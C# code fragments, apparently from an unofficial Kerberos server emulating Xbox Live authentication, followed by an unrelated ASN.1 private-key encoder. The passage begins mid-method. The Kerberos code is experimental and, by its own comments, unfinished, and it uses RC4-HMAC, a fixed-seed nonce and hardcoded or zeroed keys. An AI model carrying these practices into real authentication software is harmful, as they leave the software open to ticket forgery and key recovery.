KerberosCrypto.KerberosEncrypt(Interop.KERB_ETYPE.rc4_hmac, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, nonceHmac, accountInfo.Encode())); AsnElt typeElt = AsnElt.MakeInteger(203); AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, typeElt); nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, nameTypeSeq); AsnElt padataSeq = AsnElt.Make(AsnElt.SEQUENCE, nameTypeSeq, encryptedAccount.Encode()); allNodes.Add(padataSeq); // End // crealm AsnElt crealmElt = AsnElt.MakeString(AsnElt.UTF8String, "PASSPORT.NET"); AsnElt crealmSeq = AsnElt.Make(AsnElt.SEQUENCE, crealmElt); crealmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, crealmSeq); allNodes.Add(crealmSeq); // End // cname cname = new PrincipalName(cnames, 1); AsnElt cnameElt = cname.Encode(); cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, cnameElt); allNodes.Add(cnameElt); // End // ticket reqTicket = new Ticket(); AsnElt ticketElt = reqTicket.Encode(OnlineKey); ticketElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, ticketElt); allNodes.Add(ticketElt); // End // enckdcpart EndPart = new EncKDCRepPart(); { EndPart.key = new EncryptionKey(); { EndPart.key.keytype = (int)Interop.KERB_ETYPE.rc4_hmac; EndPart.key.keyvalue = OnlineKey; // fill it with 0's :P } EndPart.lastReq = new LastReq(); { // 0 - no info // 1 - last intial TGT request // 2 - last intial request // 3 - newest TGT used // 4 - last renewal // 5 - last request (of any type) EndPart.lastReq.lr_type = 6; EndPart.lastReq.lr_value = DateTime.Now; } EndPart.nonce = (uint)(new Random(1206).Next(1000, 10000)); EndPart.key_expiration = new DateTime(2021, 12, 5); EndPart.flags = Interop.TicketFlags.enc_pa_rep; EndPart.authtime = DateTime.Now; EndPart.starttime = DateTime.Now; EndPart.endtime = new DateTime(2019, 8, 7); EndPart.renew_till = new DateTime(2021, 12, 5); EndPart.realm = "MACS.XBOX.COM"; } // TODO: Move encryption to EncryptedData class byte[] EndPartData = EndPart.Encode().Encode(); EndPartData = KerberosCrypto.KerberosEncrypt(Interop.KERB_ETYPE.rc4_hmac, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, Client.Key, EndPartData); EncryptedData encData = new EncryptedData((int)Interop.KERB_ETYPE.rc4_hmac, EndPartData); AsnElt encPart = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, encData.Encode()); allNodes.Add(encPart); // End AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); byte[] toSend = seq.Encode(); Console.WriteLine("AS-REQ: Response -> " + BitConverter.ToString(toSend).Replace("-", "")); this.Client.Send(toSend); Program.AuthAttempts += 1; }
public void BuildResponse() { // Possible suspects as to why the Xbox won't accept AS_REP // - cname/sname // - ticket // - enckdcpart // TODO: Find out what the MD4 hashed key is. AsnElt accountInfo = new PA_DATA().Encode203(1, Client.GamerTag, Client.Domain, Client.Realm, Encoding.UTF8.GetBytes("e8e17429c4701a494f7e0baadfbabc55")); List <string> cnames = new List <string>() { Client.SerialNumber, Client.Realm }; List <AsnElt> allNodes = new List <AsnElt>(); // Header AsnElt pvnoASN = AsnElt.MakeInteger(5); AsnElt pvnoSEQ = AsnElt.Make(AsnElt.SEQUENCE, pvnoASN); pvnoSEQ = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSEQ); allNodes.Add(pvnoSEQ); AsnElt msg_typeASN = AsnElt.MakeInteger(11); AsnElt msg_typeSEQ = AsnElt.Make(AsnElt.SEQUENCE, msg_typeASN); msg_typeSEQ = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSEQ); allNodes.Add(msg_typeSEQ); // End // Machine Account Info PA_DATA EncryptedData encryptedAccount = new EncryptedData((int)Interop.KERB_ETYPE.rc4_hmac, 1, KerberosCrypto.KerberosEncrypt(Interop.KERB_ETYPE.rc4_hmac, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, nonceHmac, accountInfo.Encode())); AsnElt typeElt = AsnElt.MakeInteger(203); AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, typeElt); nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, nameTypeSeq); AsnElt padataSeq = AsnElt.Make(AsnElt.SEQUENCE, nameTypeSeq, encryptedAccount.Encode()); //allNodes.Add(padataSeq); // End // crealm AsnElt crealmElt = AsnElt.MakeString(AsnElt.GeneralString, "PASSPORT.NET"); AsnElt crealmSeq = AsnElt.Make(AsnElt.SEQUENCE, crealmElt); crealmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, crealmSeq); allNodes.Add(crealmSeq); // End // cname cname = new PrincipalName(cnames, 2); AsnElt cnameElt = cname.Encode(); cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, cnameElt); allNodes.Add(cnameElt); // End // ticket reqTicket = new Ticket(); AsnElt ticketElt = reqTicket.Encode(OnlineKey); ticketElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, ticketElt); allNodes.Add(ticketElt); // End // enckdcpart EndPart = new EncKDCRepPart(); { // Used to send the online key, now we're sending an arbitrary session key EndPart.key = new EncryptionKey(); { EndPart.key.keytype = (int)Interop.KERB_ETYPE.rc4_hmac; EndPart.key.keyvalue = SessionKey; } EndPart.lastReq = new LastReq(); { // 0 - no info // 1 - last intial TGT request // 2 - last intial request // 3 - newest TGT used // 4 - last renewal // 5 - last request (of any type) EndPart.lastReq.lr_type = 6; EndPart.lastReq.lr_value = DateTime.Now; } EndPart.nonce = (uint)(new Random(1206).Next(1000, 10000)); EndPart.flags = Interop.TicketFlags.initial | Interop.TicketFlags.pre_authent; EndPart.authtime = DateTime.Now; EndPart.endtime = new DateTime(2019, 8, 7); EndPart.realm = "MACS.XBOX.COM"; } // TODO: Move encryption to EncryptedData class byte[] EndPartData = EndPart.Encode().Encode(); EndPartData = KerberosCrypto.KerberosEncrypt(Interop.KERB_ETYPE.rc4_hmac, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, Client.Key, EndPartData); EncryptedData encData = new EncryptedData((int)Interop.KERB_ETYPE.rc4_hmac, 1, EndPartData); AsnElt encPart = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, encData.Encode()); allNodes.Add(encPart); // End AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, seq); seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 11, seq2); byte[] toSend = seq2.Encode(); this.Client.Send(toSend); }
/* * Encode the private key. If 'pk8' is true, then this uses * PKCS#8 format (unencrypted); otherwise, it uses the * "internal" format that does not specifically identify the key * type. */ public static byte[] EncodePrivateKey(IPrivateKey sk, bool pk8) { RSAPrivateKey rk = sk as RSAPrivateKey; /* disabled DSA * DSAPrivateKey dk = sk as DSAPrivateKey; */ ECPrivateKey ek = sk as ECPrivateKey; if (rk != null) { AsnElt ark = AsnElt.Make(AsnElt.SEQUENCE, AsnElt.MakeInteger(0), AsnElt.MakeInteger(rk.N), AsnElt.MakeInteger(rk.E), AsnElt.MakeInteger(rk.D), AsnElt.MakeInteger(rk.P), AsnElt.MakeInteger(rk.Q), AsnElt.MakeInteger(rk.DP), AsnElt.MakeInteger(rk.DQ), AsnElt.MakeInteger(rk.IQ)); byte[] enc = ark.Encode(); if (pk8) { AsnElt apk8 = AsnElt.Make(AsnElt.SEQUENCE, AsnElt.MakeInteger(0), AsnElt.Make(AsnElt.SEQUENCE, AsnElt.MakeOID(OID_RSA), AsnElt.NULL_V), AsnElt.MakeBlob(enc)); enc = apk8.Encode(); } return(enc); /* disabled DSA * } else if (dk != null) { * if (pk8) { * AsnElt adx = AsnElt.MakeInteger(dk.X); * AsnElt adp = AsnElt.Make(AsnElt.SEQUENCE, * AsnElt.MakeInteger(dk.P), * AsnElt.MakeInteger(dk.Q), * AsnElt.MakeInteger(dk.G)); * AsnElt apk8 = AsnElt.Make(AsnElt.SEQUENCE, * AsnElt.MakeInteger(0), * AsnElt.Make(AsnElt.SEQUENCE, * AsnElt.MakeOID(OID_DSA), * adp), * AsnElt.MakeBlob(adx.Encode())); * return apk8.Encode(); * } else { * AsnElt adk = AsnElt.Make(AsnElt.SEQUENCE, * AsnElt.MakeInteger(0), * AsnElt.MakeInteger(dk.P), * AsnElt.MakeInteger(dk.Q), * AsnElt.MakeInteger(dk.G), * AsnElt.MakeInteger(dk.PublicKey.Y), * AsnElt.MakeInteger(dk.X)); * return adk.Encode(); * } */ } else if (ek != null) { /* * The ECPrivateKey class guarantees that the * private key X is already encoded with the same * length as the subgroup order. * The ECPublicKey class provides the public key * as an already encoded point. */ AsnElt acc = AsnElt.MakeOID(CurveToOID(ek.Curve)); AsnElt apv = AsnElt.MakeExplicit(AsnElt.CONTEXT, 1, AsnElt.MakeBitString(ek.PublicKey.Pub)); if (pk8) { AsnElt aek = AsnElt.Make(AsnElt.SEQUENCE, AsnElt.MakeInteger(1), AsnElt.MakeBlob(ek.X), apv); AsnElt apk8 = AsnElt.Make(AsnElt.SEQUENCE, AsnElt.MakeInteger(0), AsnElt.Make(AsnElt.SEQUENCE, AsnElt.MakeOID(OID_EC), acc), AsnElt.MakeBlob(aek.Encode())); return(apk8.Encode()); } else { AsnElt aek = AsnElt.Make(AsnElt.SEQUENCE, AsnElt.MakeInteger(1), AsnElt.MakeBlob(ek.X), AsnElt.MakeExplicit( AsnElt.CONTEXT, 0, acc), apv); return(aek.Encode()); } } else { if (sk == null) { throw new NullReferenceException(); } throw new ArgumentException("Cannot encode " + sk.AlgorithmName + " private key"); } }